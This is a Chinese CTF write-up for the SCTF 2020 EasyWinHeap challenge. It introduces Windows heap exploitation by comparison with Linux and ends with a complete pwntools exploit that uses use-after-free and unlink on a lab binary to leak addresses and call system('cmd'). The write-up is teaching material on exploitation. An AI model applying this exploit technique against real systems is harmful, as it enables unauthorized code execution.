SCTF 2020 EasyWinHeap 入门 Windows Pwn

本文是写给只会Linux Pwn,而对Windows Pwn一窍不通的朋友,对照Linux Pwn的工具、原理、方法,讲解Windows下对应的内容。通过本文可以了解到:1.一种在Win下搭建Pwn题环境的方法(socat+pwntools+IDA) 2. Windows用户态进程运行的基本原理与一些实用工具 3.Windows堆管理的基本方法。本题的漏洞点是存在悬空指针可以UAF,而且对于该悬空指针可以继续show、edit、free。利用方式为通过UAFleak堆地址,然后通过unlink完成堆上的节点索引的改写进而继续leak出程序基址,进而继续改写堆上的索引节点leak出ucrt的基址,最后继续修改索引节点的函数指针为system并控制参数为cmd即可getshell。

  • 题目附件:sctf_EasyWinHeap.zip
  • 运行环境:Win7 sp1虚拟机,因为没有用win10,也就没有win10的terminal,所以还是采用cmder为本地的终端工具。

环境搭建

不同于winpwn: pwntools for Windows (mini),这里仍然采用pwntools来完成解题,pwntools是不支持本地直接启动windows进程的,所以本地采用socat直接架起来程序,相当于远程环境。

首先将socat目录添加到环境变量中,然后进入题目文件夹下使用如下命令启动socat,但是当有新的连接进来时总报错说找不到文件,然后我一急眼把题目文件夹也添加进环境变量就好了,不知道是什么原因。

socat tcp-listen:8888,fork EXEC:EasyWinHeap.exe,pipes &

启动socat成功后,当有新的连接连入时,则会启动一个新的EasyWinHeap进程,使用IDA本地attach上该进程即可开始调试。另外如果使用pwntools脚本解题,可以在remote连接之后添加raw_input,这时脚本不会继续发送数据,而socat已经完成进程的启动,所以在此时IDA附加到进程上即不会错过断点。如下:

from pwn import *
context.log_level = 'debug'
io = remote("10.10.10.137",8888)

sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
add         = lambda size           	  :  (sla("option >\r\n", '1'),sla("size >\r\n", str(size)))

raw_input()
add(1)
io.interactive()

使用如上脚本与socat建立连接,则会启动一个EasyWinHeap进程。在IDA中给add函数下断,然后attach到EasyWinHeap进程,attach后IDA默认会断下,单击继续执行或按下F9,此时程序继续运行。然后在脚本运行处任意给一个输入,执行过raw_input,继续执行add(1),此时IDA即可捕获到断点,则可以愉快的进行调试了。

使用socat+pwntools+IDA的优点:

  1. pwntools环境无需更改
  2. IDA动态源码级别调试

使用socat+pwntools+IDA的缺点:

  1. 如_HEAP结构体无法直接解析查看(需要导入pdb文件)
  2. 调试断点与调试器的启动无法写在脚本中

当然如果使用socat启动进程也可以使用任何其他调试器来完成调试,但其实IDA的动态调试功能是被大大低估的。使用winpwn的优缺点与以上相反。

进程运行原理

这里我们和linux中的Pwn一样,主要关注进程内存空间的使用以及动态链接库的相关信息

进程是操作系统管理的,如果想要了解进行的进程的相关信息,肯定需要操作系统提供接口并且同意给用户查看。在linux中我们可以通过其提供的proc伪文件系统来查看进程的相关信息,proc伪文件系统也是用户和操作系统内核交互的一个途径,即用户态程序和内核交互的方法并不只有系统调用。比如我们可以查看/proc/pid/maps来查看进程的内存布局,一般的pwn题中,除了题目本身的二进制,映射到进程内存的文件一般还有两个:libc.so,ld.so,分别是c的运行库和ELF的动态加载器。

那么在windows里没有proc伪文件系统,我们怎么知道进程的相关信息呢?那就只能通过WindowsAPI了,不会用不要紧,有现成的工具,知道他们的基本原理就好。以下两个Windows官方工具:

  • Process Explorer:提供更详细的进程信息的管理工具
  • VMMap:可以查看程序的内存布局

另外winpwn里提供了一个命令行的vmmap工具,感觉不是很好用,一打印好几篇…

有了这两个工具我们就可以自己动手认识一下windows的进程了!我们写一个最简单的程序,在windows上使用gcc编译(首先要安装MinGW):

# include <stdio.h>
int main(){
	int a;
	scanf("%d",&a);
}

然后双击打开编译好的二进制可执行程序,然后使用使用Process ExplorerVMMap工具观察:

image

通过Process Explorer可以看到test.exe的父进程是explorer.exe即文件管理器,因为我们是在目录下双击打开的。在VMMap中看到信息就比较多了:

  1. 加载了5个动态链接库:kernel32,ntdll,mscvrt,KernelBase,apisetschema
  2. 堆空间是多个且分散的
  3. 程序没有开ASLR

5个动态链接库看起来就比linux复杂,一个scanf,在linux实现在libc.so,然后就系统调用进内核了。但是因为Windows是闭源的,用户想要开发程序需要使用Windows提供的API,而不是直接使用系统调用,因为微软不告诉你系统调用怎么用。这里可以参考《程序员的自我修养》与Windows相关的部分以及:

通过以上内容能大概明白msvcrt,kenerl32,ntdll是三个递进关系的动态链接库,msvcrt是c的运行时相当于linux里的libc,但是c的标准函数的实现并不是和linux相同去直接系统调用而是通过WindowsAPI,这些WindowsAPI的实现在kernel32,user32等,再背后实现在ntdll中的才是真正的系统调用。这里参考atumAngel Boy两位大佬的slide:

image

而且因为msvcrt的底层是windowsAPI,所以其源码也没有太多保密的需要,如果安装了VS是直接在VS的目录下可以找到其源码,这里给出github上有人从VS里拽出来的源码:msvcrt。那么KernelBaseapisetschema又是啥呢?

看起来KernelBase是win7后,kernel32ntdll中间的一层。apisetschema是一种实现转发机制的DLL,和我们做的这次Pwn题关系不大。因为官方文档是给开发者视角看的,开发者并不需要关系API是怎么实现的,只需要按照要求用就好了,所以并没有关于动态链接库实现以及信息太多的微软官方的文档,不过可以在每个API的文档下面看到其依赖的dll:Programming reference for the Win32 API,更多的内容可以参考第三方信息:

好,现在让我们来看一下题目附件:

  ls -al
drwxr-xr-x   9  user  staff      288  7 22 12:38 .
drwxr-xr-x  25  user  staff      800  7 22 12:37 ..
-rwx------@  1  user  staff    10240  7  4 02:07 EasyWinHeap.exe
-rw-------@  1  user  staff   649272  7  4 01:11 KERNEL32.dll
-rw-------@  1  user  staff  2079112  7  4 01:11 KERNELBASE.dll
-rw-------@  1  user  staff  1674480  7  4 01:12 ntdll.dll
-rw-------@  1  user  staff  1191512  7  4 01:11 ucrtbase.dll
-rw-------@  1  user  staff    83952  7  4 01:13 vcruntime140.dll

我们发现这里有熟悉的KERNEL32.dll,KERNELBASE.dll,ntdll.dll,但是没有msvcrt.dll,却有ucrtbase.dllvcruntime140.dll。这俩又是啥玩意呢?阅读以下:

其实就是微软把老的msvcrt.dll拆开了,主要的c运行时的代码放在了ucrtbase.dll中。另外msvcrt140.dll不存在,只存在msvcp140.dll,这里包含了C++标准库的实现,也就是说Angel Boy的slide里是存在笔误的。

总之,把msvcrt.dll,msvcrxxx.dll,ucrtbase.dll当成libc.so就好。另外Windows下的动态链接库的使用的机制和linux也存在区别,在《程序员的自我修养》第十一章列举了如下的表格:

image

一开始我怎么也想不明白为啥一个动态链接库还配套一个lib静态库?其实在本书第九章介绍了这个lib是导入库,而不是静态库。(之前这本书里Windows相关的我都跳过去了…)可以参考如下文章:

其实就是编译一个动态链接的程序时,要告诉编译器:

  1. 我们要用什么动态库
  2. 确定这个库里的确有目标函数

在linux里直接通过.so在编译时完成这个任务,即gcc -l,并且在运行时也用.so。而在windows中,编译时用.lib,运行时用.dll。简单的说就是windows把linux中的.so单个文件的功能拆成了两个文件来用。而且Windows的PE文件中只包含所需要的dll名字,不包含路径,则需要按照规则搜索:Dynamic-Link Library Search Order,程序当前目录也是搜索的一个环节,所以Pwn题把dll打包到程序目录也就可以理解了。

检查与分析

Linux有pwntools的checksec,原理是检查ELF文件中的各种保护标记位。在PE格式中一样存在类似的标记位,这里有对于PE文件的checksec.py,python3的脚本,另外安装需要lief和colorma两个库。

  python3 checksec.py EasyWinHeap.exe 
ASLR: True
SafeSEH: False
DEP: True
ControlFlowGuard: False
HighEntropyVA: False

可以看到这里是开启了ASLR和DEP两种保护。另外关于Win的各种保护机制,是否仅在PE文件中标记就可以开启保护,与还有Windows系统版本相关等问题,我暂时还不清楚。可以参考《0day》、《加密与解密》、《漏洞战争》这些Windows相关的安全书籍,还有上面的PPT等资料。

接下来就是对题目的分析了:程序逻辑全在main函数里,没有分成各种函数调用。其中addwhile(1)逻辑就是在链表上一个个往后添加节点,看起来这么麻烦也许是编译器的优化。剩下都非常容易看懂,漏洞点也非常容易发现:存在一个UAF,free后没有置NULL,然后在add,edit,show都可以使用已经free过的chunk。另外因为堆块大小使用错误导致在edit处存在堆溢出,不过本题利用并没有用到这个洞。我们可以看到题目没有使用malloc,free这种POSIX API,而是使用的如下的Windows API

HeapCreate(1u, 0x2000u, 0x2000u);
HeapAlloc(hHeap, 9u, 0x80u);
HeapFree(hHeap, 1u, *(chunk80 + 8 * *v21 + 4));

参考官方文档:Win32 API Heapapi.h Overview,可见Windows的文档的确是很详细,一些FLAG的具体取值也给了。Linux的man手册中基本不提供,想要知道一个FLAG的值要不是自己打印输出,要不去看源码,要不找别人通过这两种方式分析的结果。对于以上三个API的FLAG

HEAP_NO_SERIALIZE  0x00000001
HEAP_ZERO_MEMORY   0x00000008

HEAP_NO_SERIALIZE是不开启序列化访问堆,可以再HeapCreate的文档页面的备注看到这个概念的解释,主要是用来控制多线程访问堆时的正常操作。并且如果设置了这个选项,则也无法对当前堆启用Low-fragmentation Heap(低碎片化堆 LFH)。另外就是POSIXmalloc,freeWindows也给出了使用方法的文档:malloc,free

Windows的堆

接下来就是重点了,知道有UAF和堆溢出,这俩基本就是所有堆上漏洞的本质成因了,在Linux里我们可能的利用方法:

  1. unsorted bin leak libc
  2. fastbin/tcache double free
  3. unlink

以上的利用方法本质是glibc的ptmalloc的代码逻辑问题,但在Windows中堆管理器不是ptmalloc,而是微软自己的堆管理器,那是不是完全就和以上的利用方法说再见了呢?其实不然!

大同小异

以下这张图仍然来自上面给出的的AngelBoy的slide,这个就是当前Windows堆管理的big picture:

image

可以看到,在Windows的堆管理器中也采用了类似的空闲块组织成的链表(freelist)带头部信息的堆块(chunk)结构。为什么与我们认识的ptmalloc如此相似呢?因管理内存这种块状的资源,大家思路都是批发零售,从大块中切出小块,然后把收回来的空闲块整理整理,卖的好的准备继续卖,不容易卖的就合并放起来。这种思路实现完大家都是链表和堆块,所以学完了ptmalloc的攻击方法,类似的攻击方式在其他的堆管理器中一样可能存在,比如checkm8。

那Windows的堆管理器是怎么实现的呢?很遗憾,这个微软不能告诉你。不过我们可以在微软的文档中发现一些堆的相关信息,这些东西的背后就是堆管理器:

历史变革

libc的版本在不断升级,ptmalloc的细节也一直在变化。Windows的堆管理器也是如此,小时候用的win95、win98上的堆,和现在win10上的堆肯定不是同一个堆管理器在管理。省去我们从零开始逆向那些dll的功夫,看看前辈们的分析结果。

有关windows堆的中文书籍中,写的比较详细的应当是《0day》,在第五章中,作者将win7即之前的堆管理机制分成了三个时代,并详细的讲解了第一个时代的利用方法,虽然比较容易,但已不适用于当前主流的Windows操作系统。不过我觉得不能将《0day》中提到的堆利用技术称之为过时的技术,因为仍然有适用于这种攻击方式的系统存在于世界上。接下来让我们来看看跟着时代的中文资料:

的确和《0day》中的堆不同了,最终找到一篇文章是详细的讲解了《0day》中没有提到的另外两个时代的文章,而且划分都一样,因为是参考的《0day》,也是对其内容进行了补充,文章详细介绍了三个时代的堆结构、漏洞以及攻击方法,非常全面:

读完可知,其实现在的堆大体上仍然是《0day》中提到的第三个阶段,文中也着重的介绍了当前堆的结构实现。不过我们知道Windows是没有公开堆管理器的实现,那么文中提到的各种结构体的名称难道也是极客们逆向出来的?当然不是!

初见windbg

Heap in Windows,当我第一次打开这篇文章我完全不知道如下在干什么,如果不对应着一个big picture讲堆我觉得简直是灾难,CTF-wiki中的堆的宏观视图和微观视图讲解的就很棒。

0:001> dt _heap
ntdll!_HEAP
   +0x000 Segment          : _HEAP_SEGMENT
   +0x000 Entry            : _HEAP_ENTRY
   +0x010 SegmentSignature : Uint4B
   +0x014 SegmentFlags     : Uint4B
   +0x018 SegmentListEntry : _LIST_ENTRY
   +0x028 Heap             : Ptr64 _HEAP

其实dt _heap是windbg的一个调试命令,dt是显示类型(Display Type)的意思,参考:调试指令手册。这里也就是打印_heap这个结构。这个结构是整个堆的一些信息,类似ptmalloc_heap_info。那么看起来也就是说windbg知道windows堆的结构,于是我也安装了一个windbg,官网:Download Debugging Tools for Windows,这里提供的下载SDK不要奇怪,windbg是包含在sdk中,不过因为我本机是win7,所以只能找Windows SDK and emulator archive下载之前的版本的SDK。注意:www.windbg.org是民间的网站,并不是官网。总之当我安好了windbg之后,然后attach一个进程尝试dt _heap

0:001> dt _heap
*** ERROR: Module load completed but symbols could not be loaded for cmd.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\wow64cpu.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\wow64win.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\wow64.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: _heap                                         ***
***                                                                   ***
*************************************************************************
Symbol _heap not found.

居然告诉我没有找到_heap符号,难道这个结构体的信息不是windbg自带的?还真不是!

调试符号

原来windbg需要配置对应dll符号源文件才能解析相应的结构体,这也说的通。获得符号文件的方法是配置windbg,让他自己去微软官方下载,但我按照上面的方法在C盘新建symbols文件夹,然后在windbg的【file】 -> 【Symbol File Path】中添加:

C:\symbols;SRV*C:\symbols*http://msdl.microsoft.com/download/symbols

结果是,仍然不管用…在百思不得其解的翻阅google中看到了:

看起来都是最近的事,然后挂上全局代理之后,果然就好了,一开始因为上面的那个URL能访问就大意了,真是万恶的GFW,坑了我一个多小时。然后我就可以在C:\symbols的目录中看到相应的pdb文件了,可以找到ntdll.pdb目录下的ntdll.pdb(32位的是wntdll.pdb),当然还可以看到其他动态链接库的pdb也成功下载到了。

C:\symbols
λ dir
 Volume in drive C has no label.
 Volume Serial Number is 28AD-4B57

 Directory of C:\symbols

07/27/2020  11:10 AM    <DIR>          .
07/27/2020  11:10 AM    <DIR>          ..
07/27/2020  04:40 AM    <DIR>          api-ms-win-core-file-l1-2-0.pdb
07/27/2020  04:40 AM    <DIR>          api-ms-win-core-file-l2-1-0.pdb
07/27/2020  04:40 AM    <DIR>          api-ms-win-core-localization-l1-2-0.pdb
07/27/2020  04:40 AM    <DIR>          api-ms-win-core-processthreads-l1-1-1.pdb
07/27/2020  04:39 AM    <DIR>          api-ms-win-core-synch-l1-2-0.pdb
07/27/2020  04:40 AM    <DIR>          api-ms-win-core-timezone-l1-1-0.pdb
07/27/2020  04:39 AM    <DIR>          api-ms-win-crt-convert-l1-1-0.pdb
07/27/2020  04:39 AM    <DIR>          api-ms-win-crt-heap-l1-1-0.pdb
07/27/2020  04:39 AM    <DIR>          api-ms-win-crt-locale-l1-1-0.pdb
07/27/2020  04:39 AM    <DIR>          api-ms-win-crt-math-l1-1-0.pdb
07/27/2020  04:40 AM    <DIR>          api-ms-win-crt-runtime-l1-1-0.pdb
07/27/2020  04:39 AM    <DIR>          api-ms-win-crt-stdio-l1-1-0.pdb
07/27/2020  04:40 AM    <DIR>          api-ms-win-crt-string-l1-1-0.pdb
07/27/2020  11:10 AM    <DIR>          ntdll.pdb
07/27/2020  04:29 AM                 0 pingme.txt
07/27/2020  04:39 AM    <DIR>          ucrtbase.pdb
07/27/2020  04:40 AM    <DIR>          vcruntime140.i386.pdb
07/27/2020  04:40 AM    <DIR>          wkernel32.pdb
07/27/2020  04:40 AM    <DIR>          wkernelbase.pdb
07/27/2020  04:29 AM    <DIR>          wntdll.pdb
               1 File(s)              0 bytes
              21 Dir(s)  38,554,374,144 bytes free

如果尝试使用file命令查看其中具体的pdb文件可以看到:

C:\symbols\ntdll.pdb\6192BFDB9F04442995FFCB0BE95172E12
λ file ntdll.pdb
ntdll.pdb: MSVC program database ver 7.00, 1024*2363 bytes

这种文件格式参考:Program_database。总之这个文件中保存着对应dll的符号信息,可能包括各种变量名、函数名、结构体信息,甚至还可能包含源代码行号。至此我们已经可以在windbg里开心的dt _HEAP了(大小写不敏感),不过还是更想用IDA当成主要的调试器,因为界面友好。那么IDA是否可以加载pdb文件呢?答案是肯定的,不过如果当你挂着全局代理使用IDA加载ntdll.dll,你会发现:

image

压根就不用导入!IDA会自己去微软的服务器上下载pdb文件然后识别!可以看到无论是函数名还是结构体信息IDA都可以识别出来:

image

但是动态调试时我们加载的是目标程序的PE文件,所以IDA不会自动加载ntdll的pdb文件,不过我们这时就可以选择手动导入IDA下载或者gdb下载的pdb文件。选择【File】->【Load file】->【PDB file】,然后设置到好动态调试时ntdll.dll的基址即可完成符号的加载。然后就可以对目标结构体按下y键或者通过菜单栏的【edit】->【Struct var】,重新设置变量类型为_HEAP,即可成功解析:

image

至此我们可以回答:各种结构体的名称不是极客们逆向出来的,而是微软提供的。 虽然ntdll这些动态链接库删去了符号表,但为了方便调试,还是要放出一些符号信息给开发者。这些符号信息就是理解Windows背后机制的重要资料,因为符号蕴含了变量、函数、结构体等程序中关键信息的含义。有了符号,我们就可以“望文生义”,通过符号去大致了解变量、函数、结构题的用途,并最终帮助我们理解程序的意图。一个没有符号的程序,就像逻辑代数的真值表,程序work,但是人类却无法直接想清楚,这个程序是干啥的。找到一个站点vergiliusproject,非常酷炫,帮我们梳理了微软所提供的这些结构体信息,比如_HEAP

解题

官方WP写的贼简单,exp也没个注释,感觉意思是人人都会Win Pwn一样,其他WP参考如下:

这题有UAF和堆溢出,而且堆上还有函数指针,所以思路基本就是想办法改写堆上的函数指针然后进行调用了。不过程序开了ASLR,也就是说我们什么地址都不知道,肯定需要leak各种信息。总的来说,这道题对应到linux上的攻击手法就是UAF通过unsorted bin泄露一些信息,然后unlink完成堆上的数据修改。不过在Windows上,细节上又与Linux不完全一样。

exp如下,需要注意的点与攻击步骤都写在注释里,而且上面两篇文章已经说得非常清楚了,足够完成本题:

from pwn import *
#context.log_level = 'debug'
ip = "10.10.10.137";port = 8888
io = remote(ip,port)

sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
add         = lambda size           	  :  (sla("option >\r\n", '1'),sla("size >\r\n", str(size)))
show        = lambda index                :  (sla("option >\r\n", '3'),sla("index >\r\n", str(index)))
edit        = lambda index,data           :  (sla("option >\r\n", '4'),sla("index >\r\n", str(index)),sla("content  >\r\n", data))
free        = lambda index                :  (sla("option >\r\n", '2'),sla("index >\r\n", str(index)))
uu32        = lambda data                 :  u32(data.ljust(4, b'\0'))

# UAF to leak heap
while(1):
    add(32);add(32);add(32)                                         # free block0 or block1, the fd is point to the largest free chunk, it can success leak the heap_base
    free(1);show(1)                                                 # can't free block2 to leak heap_base, because it will merge to the largest free chunk. 
    heap_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x630     # and the fd will point to heap_base+0x00c4, it contains NULL byte.
    if heap_base > 0x1000000 :                                      # if the heap_base less than 4 byte, the next step to leak image_base can't success
        break                                                       # because when we leak image_base, before the image_base is the heap_addr 
    io.close();io = remote(ip,port)

log.warn("heap_base:" + hex(heap_base))
list_addr = heap_base + 0x578
block0    = list_addr
block1    = list_addr + 8

# use unlink to make a loop and leak image_base
edit(1,p32(block1)+p32(block1+4))                                   # *(block1 + 4) = block1 + 4 , when show block1, it can leak data in list
add(32);show(1);                                                    # add(32) or free(0) both can trigger unlink
io.recv(4)                                                          # 4 byte heap_addr,if it's only 3 byte, it will be stop to print due to NULL byte
image_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x1043
log.warn("image_base:" + hex(image_base))

# use loop to leak ucrt
puts_iat = image_base + 0x20c4
edit(1, p32(puts_iat)+p32(0)+p32(block0));show(1)                   # modify block2content point to block0
ucrt_base = u32(io.recv(4))-0xb89f0
log.warn("ucrt_base:" + hex(ucrt_base))
system = ucrt_base+0xefda0

# modify func pointer to system and tigger it
edit(0, 'cmd\x00')                                                  # normal write, add "cmd" to block0content
edit(2, p32(system)+p32(heap_base+0x600))                           # modify block0 func to system and repair block0content
show(0)                                                             # trigger system(cmd)
io.interactive()

总结对比

  Windows Linux
调试器 IDA, windbg, x64dbg, ollydbg, gdb IDA, gdb
解题环境 pwntools+socat+IDA/winpwn/pwintools pwntools
进程工具 Process Explorer, VMMap ps, procfs
C 运行库 ucrtbase.dll libc.so
安全机制 ASLR, DEP, SafeSEH, ControlFlowGuard PIE, NX, Canary, RELRO
安全检查 checksec.py checksec
堆管理器 Windows memory allocator (ntdll.dll) ptmalloc (libc.so)
堆结构体 _HEAP _heap_info
空闲链表 FreeLists unsorted bin
leak heap_addr libc_addr
unlink *(fd+4)=bk, *bk=fd *(fd+12)=bk, *(bk+8)=fd
getshell system(“cmd”) system(“/bin/sh”)

扩展

其他题目

其他阅读